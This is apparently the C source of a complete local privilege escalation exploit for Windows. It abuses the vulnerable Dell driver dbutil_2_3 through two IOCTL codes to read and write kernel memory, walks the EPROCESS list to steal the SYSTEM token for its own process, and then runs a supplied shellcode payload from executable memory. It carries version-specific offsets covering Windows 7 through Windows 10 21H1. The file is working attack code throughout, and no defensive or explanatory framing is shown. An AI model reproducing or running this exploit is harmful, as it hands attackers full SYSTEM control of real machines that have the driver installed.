#include "common.h"
#include "definitions.h"

#include <tchar.h>

const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
fNtQuerySystemInformation NtQuerySystemInformation = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;

void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
	if (!pMsfPayload)
		return;
	PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!pPayload)
		return;
	CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
	CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
}

BOOL ResolveRequirements(void) {
	HMODULE hNtdll = GetModuleHandle("ntdll");

	if (hNtdll == NULL) {
		return FALSE;
	}

	NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
	if (NtQuerySystemInformation == NULL) {
		return FALSE;
	}

	if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
		return FALSE;
	}

	/* get the version to determine the necessary eprocess offsets */
	DWORD dwMajor, dwMinor, dwBuild;
	RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
	dwBuild = LOWORD(dwBuild);
	dprintf("[*] Windows version: %u.%u.%u", dwMajor, dwMinor, dwBuild);

	if ((dwMajor == 6) && (dwMinor == 1) && (dwBuild == 7600)) {
		g_pEprocessOffsets = &EprocessOffsetsWin7Sp0;
	}
	else if ((dwMajor == 6) && (dwMinor == 1) && (dwBuild == 7601)) {
		g_pEprocessOffsets = &EprocessOffsetsWin7Sp1;
	}
	else if ((dwMajor == 6) && (dwMinor == 3) && (dwBuild == 9600)) {
		g_pEprocessOffsets = &EprocessOffsetsWin8p1;
	}
	/* targets for Windows 10 v1607 - 21H1 */
	else if ((dwMajor == 10) && (dwMinor == 0) && (dwBuild >= 14393) && (dwBuild <= 19043)) {
		if ((dwBuild < 15063)) {
			g_pEprocessOffsets = &EprocessOffsetsWin10v1607;
		}
		else if ((dwBuild < 16299)) {
			g_pEprocessOffsets = &EprocessOffsetsWin10v1703;
		}
		else if ((dwBuild < 17134)) {
			g_pEprocessOffsets = &EprocessOffsetsWin10v1709;
		}
		else if ((dwBuild < 17763)) {
			g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
		}
		else if ((dwBuild < 18362)) {
			g_pEprocessOffsets = &EprocessOffsetsWin10v1809;
		}
		else if ((dwBuild < 19041)) {
			g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
		}
		else if ((dwBuild <= 19043)) {
			g_pEprocessOffsets = &EprocessOffsetsWin10v2004;
		}
	}
	else {
		return FALSE;
	}
	return TRUE;
}

PSYSTEM_HANDLE_TABLE_ENTRY_INFO GetHandleEntryInfo(HANDLE hHandle, DWORD dwProcessId) {
	HANDLE hProcessHeap = GetProcessHeap();
	DWORD dwSize = 4096;
	DWORD dwReturnSize = 0;
	PSYSTEM_HANDLE_INFORMATION pSystemHandles = NULL;
	PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
	NTSTATUS Status = STATUS_UNSUCCESSFUL;

	do {
		if (pSystemHandles) {
			HeapFree(hProcessHeap, 0, pSystemHandles);
			pSystemHandles = NULL;
			dwSize *= 2;
		}
		pSystemHandles = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, dwSize);
		if (pSystemHandles == NULL) {
			return NULL;
		}

		Status = NtQuerySystemInformation(SystemHandleInformation, pSystemHandles, dwSize, &dwReturnSize);
	} while (Status == STATUS_INFO_LENGTH_MISMATCH);

	if (Status != STATUS_SUCCESS) {
		HeapFree(hProcessHeap, 0, pSystemHandles);
		return NULL;
	}

	for (DWORD dwIndex = 0; dwIndex < pSystemHandles->NumberOfHandles; dwIndex++) {
		if (pSystemHandles->Handles[dwIndex].UniqueProcessId != dwProcessId) {
			continue;
		}
		if ((HANDLE)pSystemHandles->Handles[dwIndex].HandleValue != hHandle) {
			continue;
		}

		if (pHandleEntryInfo = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))) {
			CopyMemory(pHandleEntryInfo, &pSystemHandles->Handles[dwIndex], sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO));
		}
		break;
	}
	HeapFree(hProcessHeap, 0, pSystemHandles);
	return pHandleEntryInfo;
}

// this is a over-simplification of the primitives to just do a ULONG_PTR at a time
// they can actually be used to transfer an arbitrary amount of data
ULONG_PTR KernelRead(HANDLE hDriver, ULONG_PTR SrcAddr) {
	DWORD dwBytesReturned = 0;
	ULONG_PTR Request[4] = { 0, 0, 0, 0 };
	ULONG_PTR Response[4] = { 0, 0, 0, 0 };

	Request[1] = SrcAddr;
	DeviceIoControl(hDriver, 0x9b0c1ec4, &Request, sizeof(Request), &Response, sizeof(Response), &dwBytesReturned, NULL);
	return Response[3];
}

VOID KernelWrite(HANDLE hDriver, ULONG_PTR DstAddr, ULONG_PTR Data) {
	DWORD dwBytesReturned = 0;
	ULONG_PTR Request[4] = { 0, 0, 0, 0 };
	ULONG_PTR Response[4] = { 0, 0, 0, 0 };

	Request[1] = DstAddr;
	Request[3] = Data;
	DeviceIoControl(hDriver, 0x9b0c1ec8, &Request, sizeof(Request), &Response, sizeof(Response), &dwBytesReturned, NULL);
	return;
}

BOOL UpgradeToken(PVOID pParam, ULONG_PTR ulEProcess) {
	ULONG_PTR ulEprocessBak = ulEProcess;
	ULONG_PTR ulSystemToken = 0;
	ULONG_PTR ulMyToken = 0;
	ULONG_PTR ulMyTokenAddr = 0;
	DWORD dwPidSelf = GetCurrentProcessId();

	while (!ulSystemToken || !ulMyTokenAddr) {
		DWORD dwPidRead = KernelRead(pParam, ulEProcess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
		if (dwPidRead == 4)
			ulSystemToken = KernelRead(pParam, ulEProcess + g_pEprocessOffsets->Token);
		if (dwPidRead == dwPidSelf)
			ulMyTokenAddr = ulEProcess + g_pEprocessOffsets->Token;
		ulEProcess = KernelRead(pParam, ulEProcess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;

		if (ulEprocessBak == ulEProcess)
			break;
	}

	KernelWrite(pParam, ulMyTokenAddr, ulSystemToken);
	return TRUE;
}

DWORD Exploit(PVOID pPayload) {
	HANDLE hDriver = INVALID_HANDLE_VALUE;
	HANDLE hProc = INVALID_HANDLE_VALUE;
	PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;

	if (!ResolveRequirements()) {
		dprintf("[-] Failed to resolve requirements");
		return 0;
	}

	hDriver = CreateFile(_T("\\\\.\\dbutil_2_3"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		dprintf("[-] Failed to get a handle to the driver");
		return 0;
	}

	hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, GetCurrentProcessId());
	if (hProc == NULL) {
		dprintf("[-] Failed to get a handle to the current process");
		CloseHandle(hDriver);
		return 0;
	}

	pHandleEntryInfo = GetHandleEntryInfo(hProc, GetCurrentProcessId());
	if (pHandleEntryInfo == NULL) {
		dprintf("[-] Failed to get the handle entry information");
		CloseHandle(hDriver);
		return 0;
	}

	dprintf("[*] Current nt!_EPROCESS found at 0x%p", pHandleEntryInfo->Object);
	dprintf("[*]         nt!_EPROCESS->Token = 0x%p", KernelRead(hDriver, (ULONG_PTR)pHandleEntryInfo->Object + g_pEprocessOffsets->Token));

	if (UpgradeToken(hDriver, (ULONG_PTR)pHandleEntryInfo->Object)) {
		ExecutePayload(pPayload);
	}

	HeapFree(GetProcessHeap(), 0, pHandleEntryInfo);
	CloseHandle(hDriver);
	return 0;
}